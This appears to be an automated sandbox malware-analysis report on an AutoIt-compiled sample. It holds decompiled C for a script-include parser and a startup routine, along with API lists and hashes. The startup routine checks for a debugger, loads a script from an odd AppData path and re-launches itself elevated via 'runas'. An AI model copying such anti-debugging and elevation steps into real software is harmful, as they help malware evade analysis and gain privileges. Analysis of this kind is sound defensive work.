0x00eea980
0x00ee9c13
0x00ee9c17
0x00ee9c19
0x00ee9c1e
0x00ee9c21
0x00ee9c23
0x00f09c10
0x00ee9c4a
0x00ee9c4a
0x00ee9c51
0x00ee9c56
0x00ee9c68
0x00ee9c6d
0x00ee9c6f
0x00f0ae0d
0x00f0ae11
0x00f0ae1a
0x00f0ae23
0x00f0ae28
0x00000000
0x00ee9c75
0x00ee9c75
0x00ee9c80
0x00ee9c85
0x00ee9c8a
0x00ee9c8e
0x00f09c17
0x00f09c17
0x00ee9c94
0x00ee9c94
0x00ee9c98
0x00ee9c9a
0x00000000
0x00000000
0x00ee9c9c
0x00ee9ca2
0x00ee9caa
0x00ee9cae
0x00f09c66
0x00f09c70
0x00f09c71
0x00000000
0x00f09c71
0x00ee9cb4
0x00ee9cb7
0x00ee9cbb
0x00000000
0x00ee9cc1
0x00ee9cc5
0x00ee9ccb
0x00ee9cd2
0x00ee9cd5
0x00ee9cd9
0x00ee9cdb
0x00ee9cdb
0x00ee9cdb
0x00ee9cdb
0x00ee9ce3
0x00ee9ce4
0x00ee9ce8
0x00ee9cec
0x00000000
0x00000000
0x00000000
0x00ee9cec
0x00ee9cbb
0x00ee9c6f
0x00ee9c29
0x00ee9c2b
0x00ee9c2f
0x00ee9c32
0x00ee9c39
0x00ee9c3c
0x00f09a41
0x00f09a42
0x00f09a45
0x00f09af4
0x00f09af4
0x00f09af8
0x00ee9c48
0x00ee9c48
0x00000000
0x00ee9c48
0x00f09a4b
0x00000000
0x00000000
0x00000000
0x00f09a92
0x00f09a96
0x00f09a98
0x00f09a9c
0x00000000
0x00000000
0x00f09aa4
0x00f09aa8
0x00000000
0x00000000
0x00f09a52
0x00f09a54
0x00f09a59
0x00f09a5c
0x00f09a5e
0x00f09a8a
0x00f09a64
0x00f09a64
0x00f09a6a
0x00f09a6f
0x00f09a75
0x00f09a78
0x00f09a7b
0x00f09a7e
0x00f09a80
0x00f09a80
0x00000000
0x00000000
0x00f09aba
0x00f09abf
0x00f09ac4
0x00f09ac7
0x00f09ac9
0x00f09ae1
0x00f09ae1
0x00f09acf
0x00f09acf
0x00f09ad3
0x00f09ad8
0x00f09ada
0x00f09ada
0x00f09ada
0x00f09ada
0x00f09ada
0x00f09ae3
0x00f09ae5
0x00f09ae9
0x00f09aef
0x00f09af2
0x00f09af2
0x00f09af2
0x00000000
0x00000000
0x00f09aaf
0x00f09ab3
0x00000000
0x00000000
0x00f09b01
0x00f09b06
0x00000000
0x00000000
0x00f09b08
0x00f09b0a
0x00f09b0f
0x00f09b12
0x00f09b13
0x00f09b15
0x00f09b1b
0x00f09b1f
0x00f09b21
0x00f09b22
0x00f09b23
0x00f09b29
0x00f09b2b
0x00f09b31
0x00f09b33
0x00f09b34
0x00f09b3a
0x00f09b3c
0x00f09b3d
0x00f09b42
0x00f09b45
0x00f09b45
0x00000000
0x00000000
0x00f09b54
0x00000000
0x00000000
0x00f09b5b
0x00f09b5d
0x00f09b62
0x00f09b65
0x00f09b67
0x00000000
0x00000000
0x00f09b6d
0x00f09b78
0x00000000
0x00000000
0x00f09b88
0x00f09b8a
0x00f09b8f
0x00f09b91
0x00f09b95
0x00f09b97
0x00f09b99
0x00f09b9b
0x00f09b9d
0x00f09ba0
0x00f09ba2
0x00f09bd4
0x00f09bd6
0x00f09bdb
0x00f09bdd
0x00f09be0
0x00f09be2
0x00f09be5
0x00f09be8
0x00f09ba8
0x00f09ba8
0x00f09ba9
0x00f09bae
0x00f09bb0
0x00f09bb3
0x00f09bb5
0x00f09bb7
0x00f09bbb
0x00f09bbe
0x00f09bc2
0x00f09bc7
0x00f09bcc
0x00000000
0x00000000
0x00f09bf0
0x00f09bf2
0x00f09bf7
0x00f09bfa
0x00f09bfc
0x00f09b7f
0x00f09b7f
0x00f09b81
0x00000000
0x00f09b81
0x00f09bfe
0x00f09c09
0x00000000
0x00000000
0x00f09a4b
0x00ee9c42
0x00ee9c46
0x00000000
0x00ee9c46
0x00ee9bb0
0x00000000
0x00ee9b40
0x00ee9b2b
0x00ee9b0e
0x00ee9b10
0x00000000
0x00ee9b16
0x00ee9b19
0x00ee9b19
0x00ee9b1f
0x00000000
0x00ee9b1f
0x00ee9b10
0x00ee9ac8
0x00ee9ab1
0x00f097df
0x00f097df
0x00f097e0
0x00000000
0x00f097e0
0x00f097cc
0x00f097e4
0x00f097e8
0x00f097e8
0x00000000
0x00f0979f
0x00ee99ba
0x00ee99c2
0x00ee99c8
0x00ee99d0
0x00ee99d0
0x00ee99d7
0x00000000
0x00000000
0x00ee99df
0x00ee9a09
0x00ee9a09
0x00ee9a0d
0x00ee9a0f
0x00ee9a15
0x00ee9a16
0x00ee9a22
0x00ee9a23
0x00ee9a28
0x00ee9a28
0x00000000
0x00ee99e1
0x00ee99e1
0x00ee99e5
0x00000000
0x00ee99f0
0x00ee99f6
0x00eea8c1
0x00000000
0x00000000
0x00000000
0x00000000
0x00ee99fc
0x00ee99fc
0x00ee99ff
0x00ee9a02
0x00ee9a03
0x00000000
0x00ee9a05
0x00ee9a05
0x00000000
0x00ee9a05
0x00ee9a03
0x00eea8c5
0x00eea8c5
0x00eea8c8
0x00eea8cc
0x00eea8cc
0x00ee99d0
0x00000000
0x00ee99c2

APIs

_wcslen.LIBCMT ref: 00EE9911

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

_memmove.LIBCMT ref: 00EE995C

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00000000), ref: 00EE99A3
_memmove.LIBCMT ref: 00EE9FE6
_memmove.LIBCMT ref: 00EEA914
_memmove.LIBCMT ref: 00F09769

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove$std::exception::exception$BuffCharException@8ThrowUpper_malloc_wcslen
String ID:
API String ID: 2383988440-0
Opcode ID: 33d4a37506179f5f97b07bc20255c4feb556ccccc53a0fc9e85fca966f3c2bf7
Instruction ID: ff2ab99659a2fa2de242e04823ab7023b89852c4409f4c0e23169bad9e872567
Opcode Fuzzy Hash: 33d4a37506179f5f97b07bc20255c4feb556ccccc53a0fc9e85fca966f3c2bf7
Instruction Fuzzy Hash: 4213A1B4A08384CFC724DF25C881A6AB7E1BF85300F18996DE4469B392D775EC45EB93

Uniqueness

Uniqueness Score: -1.00%

Function 00EE35F0, Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 359
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00EE35F0(void* __edx, void* __fp0, char _a1, char _a2, signed int _a3, void* _a4, WCHAR* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, char _a48, intOrPtr _a52, signed char _a68, intOrPtr _a72, char _a84, WCHAR* _a92, short _a96, short _a624, char _a1152, short _a1672, char _a2200, char _a10392, char _a10912) {
				char _v0;
				char _v19;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t146;
				signed int _t147;
				void* _t151;
				void* _t156;
				signed char _t180;
				char _t182;
				intOrPtr _t183;
				void* _t191;
				void* _t197;
				signed int _t198;
				signed int _t202;
				signed int _t203;
				signed int _t204;
				signed int _t207;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t213;
				char* _t215;
				intOrPtr* _t216;
				signed int _t225;
				intOrPtr _t226;
				signed int _t277;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				intOrPtr* _t284;
				signed int _t285;
				signed int _t286;
				void* _t288;
				void* _t290;
				void* _t291;

				_t322 = __fp0;
				_t286 = _t285 & 0xfffffff8;
				E00F02160(0x2cac);
				_t146 =  *0xf89538; // 0x0
				_t147 = _t146 + 1;
				 *0xf89538 = _t147;
				_t294 = _t147 - 0x30;
				if(_t147 >= 0x30) {
					E00F33F89(__eflags, __fp0, _a4, _a16, _a24, L"#include depth exceeded.  Make sure there are no recursive includes", _a20);
					 *0xf89538 =  *0xf89538 - 1;
					_t151 = 0;
					L42:
					return _t151;
				}
				_t270 = _a8;
				_t225 = 1;
				_a4 = 0;
				_a1 = 1;
				_a3 = 1;
				_a2 = 0;
				E00EEDA00( &_a24, _t294);
				E00EE1D10(_t270,  &_a8, _t294);
				_t156 = E00EEE060(0x2000,  &_a24, _t270,  &_a8); // executed
				if(_t156 == 0) {
					_v0 = 1;
				} else {
					_v0 = 0;
				}
				E00EE2480( &_a8);
				if(_v0 != 0) {
					E00F33F89(__eflags, _t322, _a4, _a16, _a24, L"Error opening the file", _a20);
					E00F23EE3( &_a4);
					 *0xf89538 =  *0xf89538 - 1;
					_t151 = 0;
					goto L42;
				} else {
					GetCurrentDirectoryW(0x104,  &_a1672);
					GetFullPathNameW(_t270, 0x104,  &_a96,  &_a92);
					E00EF392E( &_a96,  &_a84,  &_a1152,  &_a10912,  &_a10392);
					E00EF1487( &_a624,  &_a84);
					E00EF1456( &_a624,  &_a1152);
					_t288 = _t286 + 0x24;
					_t237 =  &_a624;
					SetCurrentDirectoryW( &_a624); // executed
					while(_t225 == 1) {
						_a2200 = 0;
						E00EE3580( &_a48);
						_t180 = _a68;
						if((_t180 & 0x00000003) != 0) {
							_t182 = E00F3F632(_t237, __eflags, _t322,  &_a24,  &_a48); // executed
							_t226 = 0;
						} else {
							_t299 = _t180 & 0x00000004;
							if((_t180 & 0x00000004) != 0) {
								_t182 = E00F47AAE( &_a24, __eflags, _t322,  &_a24,  &_a48);
								_t226 = 0;
							} else {
								_t226 = 0;
								_push(0x10);
								_a12 = 0;
								_a16 = 0x10;
								_t215 = E00EF14F7(_t270,  &_a48, _t299);
								_push(4);
								_a8 = _t215;
								 *_t215 = 0;
								_t216 = E00EF14F7(_t270,  &_a48, _t299);
								_t288 = _t288 + 8;
								if(_t216 == 0) {
									_a20 = 0;
								} else {
									 *_t216 = 1;
									_a20 = _t216;
								}
								if(E00EE39D0( &_a24,  &_a8, _t322) == 0) {
									E00EE1590( &_a8);
									_t182 = 0;
								} else {
									E00EE3D20(_t226,  &_a8,  &_a48);
									_t284 = _a12;
									 *_t284 =  *_t284 - 1;
									if( *_t284 == 0) {
										_t237 = _a8;
										_push(_a8);
										E00EF10FC();
										_push(_t284);
										E00EF10FC();
										_t288 = _t288 + 8;
									}
									_t182 = 1;
								}
							}
						}
						if(_t182 == 0) {
							L41:
							E00EED9C0( &_a24);
							_a68 = _t226;
							_a72 = _t226;
							SetCurrentDirectoryW( &_a1672);
							E00EED9C0( &_a24);
							_a68 = _t226;
							_a72 = _t226;
							E00EE2480( &_a48);
							E00EED9C0( &_a24);
							_push(_a28); // executed
							E00EF10FC(); // executed
							_t151 = _a1;
							 *0xf89538 =  *0xf89538 - 1;
							__eflags =  *0xf89538;
							goto L42;
						} else {
							_t183 = _a52;
							if(_t183 > 0xffe) {
								_t277 = _t183 - 0xffe;
								E00EE2920( &_a48);
								E00EF0D80(_a48 + 0x1ffc, _a48 + 0x1ffc + _t277 * 2, _a52 - _t277 + _a52 - _t277 - 0x1ffa);
								_t288 = _t288 + 0xc;
								_a52 = _a52 - _t277;
							}
							E00EF1487( &_a2200, _a48);
							_a4 = _a4 + 1;
							_t290 = _t288 + 8;
							_t278 = 0;
							_t270 = 0;
							while(1) {
								_t227 =  *(_t290 + 0x8a8 + _t278 * 2) & 0x0000ffff;
								_t191 = E00EF316E( *(_t290 + 0x8a8 + _t278 * 2) & 0x0000ffff);
								_t288 = _t290 + 4;
								if(_t191 == 0) {
									break;
								}
								_t213 = E00EF3145(_t237, _t227);
								_t290 = _t288 + 4;
								if(_t213 != 0) {
									_t278 = _t278 + 1;
									continue;
								}
								break;
							}
							if( *((intOrPtr*)(_t288 + 0x8a8 + _t278 * 2)) == _t270) {
								L21:
								 *((short*)(_t288 + 0x8a8 + _t270 * 2)) = 0;
								if(E00EE3BD0( &_a2200) == 0) {
									E00F33F89(__eflags, _t322, _a4, _a16, _a4, L"Unterminated string",  &_a2200);
									_v19 = 0;
									break;
								}
								_t197 = E00EF10E1( &_a2200);
								_t291 = _t288 + 4;
								if(_t197 == 0) {
									L28:
									_v0 = 0;
									_t198 = E00EF10E1( &_a2200);
									_t288 = _t291 + 4;
									if(_t198 > 2) {
										_t280 = _t198;
										_t210 = E00EF3145( *(_t288 + 0x8a4 + _t280 * 2) & 0x7f,  *(_t288 + 0x8a4 + _t280 * 2) & 0x7f);
										_t288 = _t288 + 4;
										if(_t210 != 0) {
											__eflags =  *((short*)(_t288 + 0x8a6 + _t280 * 2)) - 0x5f;
											if( *((short*)(_t288 + 0x8a6 + _t280 * 2)) == 0x5f) {
												 *((short*)(_t288 + 0x8a6 + _t280 * 2)) = 0;
												_v0 = 1;
											}
										}
									}
									if(_a2 == 1) {
										_t237 = _a4;
										E00F1494A(_a4,  &_a2200);
									} else {
										_t279 = _a4;
										_t237 = _a4; // executed
										_t202 = E00EE3C50(_a4,  &_a2200, _t322,  &_a2200,  &_a96,  &_a4,  &_a24); // executed
										if(_t202 != 3) {
											_t203 = _t202;
											__eflags = _t203;
											if(_t203 == 0) {
												_a1 = 0;
												L33:
												if(_v0 == 1) {
													_a2 = 1;
												} else {
													_a2 = 0;
												}
												if(_a1 != 1) {
													break;
												} else {
													_t225 = _a3;
													continue;
												}
											}
											_t204 = _t203 - 2;
											__eflags = _t204;
											if(_t204 == 0) {
												goto L32;
											}
											_t207 = _t204 - 2;
											__eflags = _t207;
											if(_t207 == 0) {
												_a3 = _t207;
											}
											goto L33;
										}
										L32:
										_t237 = _a4;
										E00EE3C80( &_a2200, _a4, _t279, _a4, _a12); // executed
									}
									goto L33;
								}
								_t66 = _t197 - 1; // -1
								_t282 = _t66;
								if(_t282 < 0) {
									L27:
									 *((short*)(_t291 + 0x8aa + _t282 * 2)) = 0;
									goto L28;
								}
								while(1) {
									_t270 =  *(_t291 + 0x8a8 + _t282 * 2) & 0x0000ffff;
									_t211 = E00EF316E( *(_t291 + 0x8a8 + _t282 * 2) & 0x0000ffff);
									_t291 = _t291 + 4;
									if(_t211 == 0) {
										goto L27;
									}
									_t212 = E00EF3145(_t237, _t270);
									_t291 = _t291 + 4;
									if(_t212 != 0) {
										_t282 = _t282 - 1;
										__eflags = _t282;
										if(_t282 >= 0) {
											continue;
										}
									}
									goto L27;
								}
								goto L27;
							} else {
								goto L20;
							}
							do {
								L20:
								_t237 =  *((intOrPtr*)(_t288 + 0x8a8 + _t278 * 2));
								 *((short*)(_t288 + 0x8a8 + _t270 * 2)) =  *((intOrPtr*)(_t288 + 0x8a8 + _t278 * 2));
								_t278 = _t278 + 1;
								_t270 =  &(_t270[0]);
							} while ( *((short*)(_t288 + 0x8a8 + _t278 * 2)) != 0);
							goto L21;
						}
					}
					_t226 = 0;
					goto L41;
				}
			}

0x00ee35f0
0x00ee35f3
0x00ee35fb
0x00ee3600
0x00ee3606
0x00ee3609
0x00ee360e
0x00ee3611
0x00f08186
0x00f0818b
0x00f08191
0x00ee39bd
0x00ee39c3
0x00ee39c3
0x00ee3617
0x00ee361a
0x00ee3620
0x00ee3628
0x00ee362d
0x00ee3631
0x00ee3636
0x00ee363f
0x00ee364e
0x00ee3655
0x00f08198
0x00ee365b
0x00ee365b
0x00ee365b
0x00ee3664
0x00ee366e
0x00f081b7
0x00f081c1
0x00f081c6
0x00f081cc
0x00000000
0x00ee3674
0x00ee3681
0x00ee3697
0x00ee36c2
0x00ee36d7
0x00ee36ec
0x00ee36f1
0x00ee36f4
0x00ee36fc
0x00ee3702
0x00ee3711
0x00ee3719
0x00ee371e
0x00ee3724
0x00f081fc
0x00f08201
0x00ee372a
0x00ee372a
0x00ee372c
0x00f081dd
0x00f081e2
0x00ee3732
0x00ee3732
0x00ee3734
0x00ee3736
0x00ee373a
0x00ee3742
0x00ee374a
0x00ee374c
0x00ee3750
0x00ee3752
0x00ee3757
0x00ee375c
0x00f081e9
0x00ee3762
0x00ee3762
0x00ee3768
0x00ee3768
0x00ee377b
0x00ee3960
0x00ee3965
0x00ee3781
0x00ee3787
0x00ee378c
0x00ee3790
0x00ee3792
0x00ee3794
0x00ee3798
0x00ee3799
0x00ee37a1
0x00ee37a2
0x00ee37a7
0x00ee37a7
0x00ee37aa
0x00ee37aa
0x00ee377b
0x00ee372c
0x00ee37ae
0x00ee396c
0x00ee3970
0x00ee397d
0x00ee3981
0x00ee3985
0x00ee398b
0x00ee3994
0x00ee3998
0x00ee399c
0x00ee39a1
0x00ee39aa
0x00ee39ab
0x00ee39b0
0x00ee39b7
0x00ee39b7
0x00000000
0x00ee37b4
0x00ee37b4
0x00ee37bd
0x00f08208
0x00f08212
0x00f08237
0x00f0823c
0x00f0823f
0x00f0823f
0x00ee37d0
0x00ee37d5
0x00ee37d9
0x00ee37dc
0x00ee37de
0x00ee37e0
0x00ee37e0
0x00ee37e9
0x00ee37ee
0x00ee37f3
0x00000000
0x00000000
0x00ee37f6
0x00ee37fb
0x00ee3800
0x00ee3946
0x00000000
0x00ee3946
0x00000000
0x00ee3800
0x00ee380e
0x00ee382d
0x00ee3836
0x00ee3845
0x00f082ce
0x00f082d3
0x00000000
0x00f082d3
0x00ee3853
0x00ee3858
0x00ee385d
0x00ee38a0
0x00ee38a8
0x00ee38ad
0x00ee38b2
0x00ee38b8
0x00ee38ba
0x00ee38cc
0x00ee38d1
0x00ee38d6
0x00ee394c
0x00ee3955
0x00f0825d
0x00f08260
0x00f08260
0x00ee3955
0x00ee38d6
0x00ee38dd
0x00f0826a
0x00f08276
0x00ee38e3
0x00ee38e3
0x00ee38fd
0x00ee38ff
0x00ee3907
0x00f08280
0x00f08280
0x00f08283
0x00f082a0
0x00ee3922
0x00ee3927
0x00f082aa
0x00ee392d
0x00ee392d
0x00ee392d
0x00ee3937
0x00000000
0x00ee393d
0x00ee393d
0x00000000
0x00ee393d
0x00ee3937
0x00f08285
0x00f08285
0x00f08288
0x00000000
0x00000000
0x00f0828e
0x00f0828e
0x00f08291
0x00f08297
0x00f08297
0x00000000
0x00f08291
0x00ee390d
0x00ee3910
0x00ee391d
0x00ee391d
0x00000000
0x00ee38dd
0x00ee385f
0x00ee385f
0x00ee3864
0x00ee3896
0x00ee3898
0x00000000
0x00ee3898
0x00ee3870
0x00ee3870
0x00ee3879
0x00ee387e
0x00ee3883
0x00000000
0x00000000
0x00ee3886
0x00ee388b
0x00ee3890
0x00f08248
0x00f08248
0x00f08249
0x00000000
0x00000000
0x00f0824f
0x00000000
0x00ee3890
0x00000000
0x00000000
0x00000000
0x00000000
0x00ee3810
0x00ee3810
0x00ee3810
0x00ee3818
0x00ee3820
0x00ee3821
0x00ee3822
0x00000000
0x00ee3810
0x00ee37ae
0x00f082d8
0x00000000
0x00f082d8

APIs

Part of subcall function 00EE1D10: _wcslen.LIBCMT ref: 00EE1D11
Part of subcall function 00EE1D10: _memmove.LIBCMT ref: 00EE1D57

GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00EE3681
GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00EE3697
__wsplitpath.LIBCMT ref: 00EE36C2

Part of subcall function 00EF392E: __wsplitpath_helper.LIBCMT ref: 00EF3970

_wcscpy.LIBCMT ref: 00EE36D7
_wcscat.LIBCMT ref: 00EE36EC
SetCurrentDirectoryW.KERNELBASE(?), ref: 00EE36FC

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

Part of subcall function 00EE3D20: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,00EE378C,?,?,?,00000010), ref: 00EE3D38
Part of subcall function 00EE3D20: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,00000010), ref: 00EE3D71

_wcscpy.LIBCMT ref: 00EE37D0
_wcslen.LIBCMT ref: 00EE3853
_wcslen.LIBCMT ref: 00EE38AD

Strings

#include depth exceeded. Make sure there are no recursive includes, xrefs: 00F0817E
Unterminated string, xrefs: 00F082C6
Error opening the file, xrefs: 00F081AF
_, xrefs: 00EE394C

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpystd::exception::exception$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_memmove_wcscat
String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
API String ID: 3393021363-188983378
Opcode ID: c5717217a2c95d97a958dffb94774c5ec5738a8075a55b5ea01df01beb23c4ab
Instruction ID: d205e07efbcd119868387adddc852abd2e13570d2658261fc55c3081cf90e24f
Opcode Fuzzy Hash: c5717217a2c95d97a958dffb94774c5ec5738a8075a55b5ea01df01beb23c4ab
Instruction Fuzzy Hash: DFD11FB1408389AAD710EF65C845AEFB7E8AFC5300F04582DF6C563242DBB1DA4997A3

Uniqueness

Uniqueness Score: -1.00%

Function 00EED7A0, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 138
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00EED7A0(short* __eax, void* __ecx, void* __eflags, void* __fp0) {
				int _v5;
				char _v6;
				short* _v24;
				short _v556;
				short _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				int _t22;
				void* _t25;
				int _t28;
				int _t29;
				void* _t51;
				char _t52;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t59;
				struct tagMSG* _t68;
				short* _t72;
				void* _t79;
				void* _t81;

				_t87 = __fp0;
				_t79 = __eflags;
				_t59 = __ecx;
				_t72 = __eax;
				GetCurrentDirectoryW(0x104,  &_v556);
				E00EE2190(_t59, _t79, _t72);
				_t22 = IsDebuggerPresent();
				if(_t22 != 0) {
					return MessageBoxA(0, "It is a violation of the AutoIt EULA to attempt to reverse engineer this program.", "AutoIt", 0x10);
				}
				_v5 = _t22;
				_t81 =  *0xf87f54 - 1; // 0x2
				if(_t81 == 0) {
					_t55 =  *0xf87f5c; // 0x3492e98
					_v6 = 0;
					E00EE3C80(_t55, _t59, 0xf890e8, 1, 0xffffffff);
					_t60 =  *0xf774e8;
					_t56 = _v6;
					 *0xf890eb =  *0xf774e8;
					L4:
					_t68 =  *0xf87f54; // 0x2
					_t25 = E00EE16A0(_t60, _t68, "C:\Users\jones\AppData\Roaming\22032878\xaso.fhr", _t68); // executed
					if(_t25 != 0) {
						E00EE10C0(0xf890e8);
						_t28 = SetCurrentDirectoryW( &_v556);
						 *0xf774f4 = 1;
						return _t28;
					}
					if(_t56 == 1) {
						_t29 = E00F12FD3();
						__eflags = _t29;
						if(_t29 != 0) {
							goto L6;
						}
						_t64 =  &_v1084;
						GetModuleFileNameW(0,  &_v1084, 0x104);
						__eflags = _v5;
						if(__eflags == 0) {
							ShellExecuteW(GetForegroundWindow(), L"runas",  &_v1084, _t72,  &_v556, 1);
						} else {
							_t78 =  &_v24;
							E00EE1D10("\"",  &_v24, __eflags);
							E00EE1DE0(_t78,  &_v1084, 0xf87f6c, _t87);
							E00EE1DE0(_t78, _t64, "\"", _t87);
							ShellExecuteW(GetForegroundWindow(), L"runas",  &_v1084, _v24,  &_v556, 1);
							E00EE2480(_t78);
						}
						L10:
						E00EE10C0(0xf890e8);
						_push( &_v556);
						L11:
						return SetCurrentDirectoryW();
					}
					L6:
					E00EF03E0(); // executed
					E00EF0350();
					if( *0xf87f58 == 0) {
						E00EEE2C0(0xf88710, _t87);
					}
					E00EE9430(0xf88178, _t68, _t87, 1); // executed
					if( *0xf87f58 == 0) {
						E00EE1240(0xf88710);
					}
					goto L10;
				}
				_t51 = E00EEF1D0(0xf87f6c, 0xf890e8, __fp0, 0xf87f54); // executed
				if(_t51 == 0) {
					 *0xf774f4 = 1;
					_push( &_v556);
					goto L11;
				} else {
					_t52 =  *0xf890e8; // 0x1
					_t56 =  *0xf890e9; // 0x0
					_t60 =  &_v1084;
					 *0xf87f58 = _t52;
					GetFullPathNameW("C:\Users\jones\AppData\Roaming\22032878\xaso.fhr", 0x104,  &_v1084, 0xf87f50);
					goto L4;
				}
			}

0x00eed7a0
0x00eed7a0
0x00eed7a0
0x00eed7ac
0x00eed7ba
0x00eed7c1
0x00eed7c6
0x00eed7ce
0x00000000
0x00f0e14f
0x00eed7d9
0x00eed7e1
0x00eed7e7
0x00f0e15d
0x00f0e163
0x00f0e167
0x00f0e16c
0x00f0e172
0x00f0e175
0x00eed833
0x00eed833
0x00eed83f
0x00eed846
0x00f0e197
0x00f0e1a3
0x00f0e1a9
0x00000000
0x00f0e1a9
0x00eed84f
0x00f0e1b8
0x00f0e1bd
0x00f0e1bf
0x00000000
0x00000000
0x00f0e1ca
0x00f0e1d3
0x00f0e1d9
0x00f0e1dd
0x00f0e253
0x00f0e1df
0x00f0e1e4
0x00f0e1e7
0x00f0e1f3
0x00f0e1ff
0x00f0e224
0x00f0e22c
0x00f0e22c
0x00eed891
0x00eed896
0x00eed8a1
0x00eed8a2
0x00000000
0x00eed8a2
0x00eed855
0x00eed855
0x00eed85a
0x00eed866
0x00eed86d
0x00eed86d
0x00eed879
0x00eed885
0x00eed88c
0x00eed88c
0x00000000
0x00eed885
0x00eed7fa
0x00eed801
0x00f0e186
0x00f0e18c
0x00000000
0x00eed807
0x00eed807
0x00eed80c
0x00eed817
0x00eed828
0x00eed82d
0x00000000
0x00eed82d

APIs

GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00EED7BA

Part of subcall function 00EE2190: __wcsicoll.LIBCMT ref: 00EE2262
Part of subcall function 00EE2190: __wcsicoll.LIBCMT ref: 00EE2278
Part of subcall function 00EE2190: __wcsicoll.LIBCMT ref: 00EE228E
Part of subcall function 00EE2190: __wcsicoll.LIBCMT ref: 00EE22A4
Part of subcall function 00EE2190: _wcscpy.LIBCMT ref: 00EE22C4

IsDebuggerPresent.KERNEL32 ref: 00EED7C6
GetFullPathNameW.KERNEL32(C:\Users\user\AppData\Roaming\22032878\xaso.fhr,00000104,?,00F87F50,00F87F54), ref: 00EED82D

Part of subcall function 00EE16A0: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00EE16E5

SetCurrentDirectoryW.KERNEL32(?,00000001), ref: 00EED8A2
MessageBoxA.USER32 ref: 00F0E14F
SetCurrentDirectoryW.KERNEL32(?), ref: 00F0E1A3
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00F0E1D3
GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00F0E21D
ShellExecuteW.SHELL32(00000000), ref: 00F0E224

Part of subcall function 00EF03E0: GetSysColorBrush.USER32(0000000F), ref: 00EF03EB
Part of subcall function 00EF03E0: LoadCursorW.USER32(00000000,00007F00), ref: 00EF03FA
Part of subcall function 00EF03E0: LoadIconW.USER32(?,00000063), ref: 00EF0410
Part of subcall function 00EF03E0: LoadIconW.USER32(?,000000A4), ref: 00EF0423
Part of subcall function 00EF03E0: LoadIconW.USER32(?,000000A2), ref: 00EF0436
Part of subcall function 00EF03E0: LoadImageW.USER32 ref: 00EF045E
Part of subcall function 00EF03E0: RegisterClassExW.USER32 ref: 00EF04AD

Part of subcall function 00EF0350: CreateWindowExW.USER32 ref: 00EF0385
Part of subcall function 00EF0350: CreateWindowExW.USER32 ref: 00EF03AE
Part of subcall function 00EF0350: ShowWindow.USER32(?,00000000), ref: 00EF03C4
Part of subcall function 00EF0350: ShowWindow.USER32(?,00000000), ref: 00EF03CE

Part of subcall function 00EEE2C0: _memset.LIBCMT ref: 00EEE2E2
Part of subcall function 00EEE2C0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00EEE3A7

Strings

AutoIt, xrefs: 00F0E143
C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00EED7F5, 00EED823, 00EED83A, 00F0E1EC
It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00F0E148
runas, xrefs: 00F0E218, 00F0E247

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
